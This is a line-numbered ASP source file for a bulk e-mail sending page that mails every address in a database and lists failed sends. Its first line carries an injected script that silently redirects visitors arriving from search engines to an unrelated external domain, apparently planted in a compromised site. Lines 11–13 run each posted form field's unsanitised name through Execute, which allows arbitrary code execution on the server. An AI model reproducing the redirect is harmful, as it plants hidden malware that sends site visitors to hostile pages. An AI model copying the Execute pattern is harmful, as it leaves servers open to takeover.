d:\wwwroot\wuchunhua\mail\send.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<!--#include file="email.asp"-->
003:
<%
response.buffer=true
004:
if request.querystring("act")="lost" then
005:
call lost()
006:
call result()
007:
response.end
008:
end if
009:
Server.ScriptTimeout=999999
010:
dim item,listr,err,remail
011:
FOR each item in Request.form
012:
Execute item &"="""& checkStr(Request.Form(item)) & """"
013:
Next
014:
'Response.Write txt
015:
'Response.End
016:
017:
listr=fwq&","&passname&","&password&","&title&","&txt&","&radiobutton&","&fa&","&faemail&","&fujian&","&hjf&","&yjzj
018:
If fwq = "" then
019:
Response.Write "<script>alert('没有填写邮件服务器,将无法发送信息！');javascript:history.back(1)</script>"
020:
Response.End
021:
End If
022:
If title="" Then
023:
Response.Write ("<script>alert('邮件标题没有填写，将无法发送信息');javascript:history.back(1)</script>")
024:
response.end
025:
end if
026:
if txt="" then
027:
Response.Write ("<script>alert('邮件内容没有填写，将无法发送信息');javascript:history.back(1)</script>")
028:
response.end
029:
end if
030:
if name<>"" then
031:
Select Case yjzj
032:
Case "Jmail"
033:
call Jmail(name)
034:
Case "Cdonts"
035:
call Cdonts(name)
036:
Case "aspemail"
037:
call aspemail(name)
038:
End Select
039:
if err then
040:
Response.Write ("<script>alert('邮件内容已经发送到指定的邮箱地址了，请确定返回！');javascript:history.back(1)</script>")
041:
else
042:
response.write ("<script>alert('由于系统错误，邮件未能正常发送，请确定返回检查各项数据是否错误！');javascript:history.back(1)</script>")
043:
end if
044:
response.end
045:
end if
046:
'----------------------------------------------------------
047:
if name="" then
048:
dim rs,sql,lose
049:
Set rs = Server.CreateObject("ADODB.Recordset")
050:
sql="Select * From email"
051:
rs.open sql,conn,1,3
052:
do while not rs.eof
053:
Select Case yjzj
054:
Case "Jmail"
055:
call Jmail(rs("email"))
056:
Case "Cdonts"
057:
call Cdonts(rs("email"))
058:
Case "aspemail"
059:
call aspemail(rs("email"))
060:
End Select
061:
if err then
062:
rs("fs")=1
063:
rs.update
064:
else
065:
rs("fs")=0
066:
rs.update
067:
end if
068:
rs.movenext
069:
loop
070:
call result()
071:
end if
072:
rs.close:set rs=nothing
073:
call closeDB()
074:
075:
sub result()
%
>
076:
<meta http-equiv="Content-Language" content="zh-cn">
077:
<link rel="stylesheet" type="text/css" href="STYLE.CSS">
078:
<body background="pic/bg.gif">
079:
<%
set rs=server.createobject("adodb.recordset")
080:
sql="select email from email where fs=0"
081:
rs.open sql,conn,1,1
082:
if rs.eof and rs.bof then
083:
response.write"<p align=center><font size=3>恭喜，邮件列表全部发送成功！</font></p>"
084:
else
%
>
085:
<BR>
086:
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="500" align="center">
087:
<tr>
088:
<td width="100%" align="center"><font color="#FF0000">很遗憾，你的邮件未能全部发送成功。</font><BR><BR>以下是发送失败的邮箱列表，共
<%
=rs.recordcount
%
>个！<BR><BR>
089:
<%
090:
do while not rs.eof
091:
response.write "<img src=pic/delete.gif align=absmiddle> "&rs("email")&"<br>"
092:
rs.movenext
093:
loop
094:
%
>
095:
<form name=form1 method="post" action="?act=lost">
096:
<input type="submit" value="重新发送失败的邮件" name="B3">
097:
<input type="hidden" name="listr" value="
<%
=listr
%
>">
098:
</form></td>
099:
</tr>
100:
</table>
101:
<p align="center">
<!--#include file="pic/foot.htm"-->
</p>
102:
<%
end if
103:
end sub
104:
105:
sub lost()
106:
dim rs,sql,lose,listr1
107:
listr=request.form("listr")
108:
listr1=split(listr,",")
109:
Server.ScriptTimeout=999999
110:
fwq=listr1(0)
111:
passname=listr1(1)
112:
password=listr1(2)
113:
title=listr1(3)
114:
txt=listr1(4)
115:
radiobutton=listr1(5)
116:
fa=listr1(6)
117:
faemail=listr1(7)
118:
fujian=listr1(8)
119:
hjf=listr1(9)
120:
yjzj=listr1(10)
121:
122:
Set rs = Server.CreateObject("ADODB.Recordset")
123:
sql="Select email,idate,fs From email where fs=0"
124:
rs.open sql,conn,1,3
125:
do while not rs.eof
126:
Select Case yjzj
127:
Case "Jmail"
128:
call Jmail(name)
129:
Case "Cdonts"
130:
call Cdonts(name)
131:
Case "aspemail"
132:
call aspemail(name)
133:
End Select
134:
if err then
135:
rs("fs")=1
136:
rs.update
137:
else
138:
rs("fs")=0
139:
rs.update
140:
end if
141:
rs.movenext
142:
loop
143:
end sub
144:
145:
function checkStr(fString)
146:
if isnull(fString) then
147:
checkStr = ""
148:
exit function
149:
end if
150:
fString = Replace(fString, CHR(13), "")
151:
fString = Replace(fString, CHR(34), "'")
152:
fString = Replace(fString, CHR(10), "")
153:
checkStr=fString
154:
end function
155:
156:
%
>
157:
158: